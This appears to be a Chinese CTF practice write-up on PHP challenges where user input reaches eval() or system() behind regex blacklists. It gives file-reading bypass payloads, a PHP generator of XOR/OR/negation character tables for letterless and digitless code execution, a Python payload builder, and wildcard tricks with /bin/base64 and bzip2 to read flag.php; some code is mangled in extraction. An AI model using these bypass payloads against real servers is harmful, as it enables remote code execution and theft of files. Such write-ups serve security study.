PHP练习

2023-10-16 08:43:50 浏览数 (1)

题目一:

40

代码语言:javascript复制
<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|~|`|@|#|\$|%|^|&|*|(|)|-|=| |{|[|]|}|:|'|"|,|<|.|>|/|?|\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
?>
  • each() 返回数组中当前的键/值对并将数组指针向前移动一步
  • end() 将数组的内部指针指向最后一个单元
  • next() 将数组中的内部指针向前移动一位
  • prev() 将数组中的内部指针倒回一位
  • array_reverse() 以相反的元素顺序返回数组key=>value value=>key
  • localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
  • pos():返回数组中当前元素的值
  • scandir():获取目录下的文件
  • array_reverse():将数组逆序排列
  • next():函数将内部指针指向下一元素,并输出
  • print_r(scandir(‘.’)); 查看当前目录下的所有文件名
  • current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

highlight_file()

highlight_file(next(array_reverse(scandir(dirname(__FILE__)))))

题目二:

41

代码语言:javascript复制
<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|^| |~|$|[|]|{|}|&|-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

生成字典脚本:

代码语言:javascript复制
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[ ]your function: ');

    $system=str_replace(array("rn", "r", "n"), "", fgets(STDIN));

    fwrite(STDOUT,'[ ]your command: ');

    $command=str_replace(array("rn", "r", "n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i  ){
            for ($j=0;$j<256;$j  ){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }

}

generate(2,'/[0-9]|[a-z]|^| |~|$|[|]|{|}|&|-/i');

或应用脚本:

代码语言:javascript复制
import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1 =t[2:5]
               s2 =t[6:9]
               break
       f.close()
   output="("" s1 ""|"" s2 "")"
   return(output)
   
while True:
   param=action(input("n[ ] your function:") ) action(input("[ ] your command:")) ";"
   print(param)

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

题目三

55(无字母)

代码语言:javascript复制
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

/bin目录

代码语言:javascript复制
bin为binary的简写主要放置一些 系统的必备执行档
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php

/usr/bin目录

代码语言:javascript复制
主要放置一些应用软件工具的必备执行档
例如c  、g  、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、
ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。

我们可以利用/usr/bin下的bzip2

意思就是说我们先将flag.php文件进行压缩,然后再将其下载

0 人点赞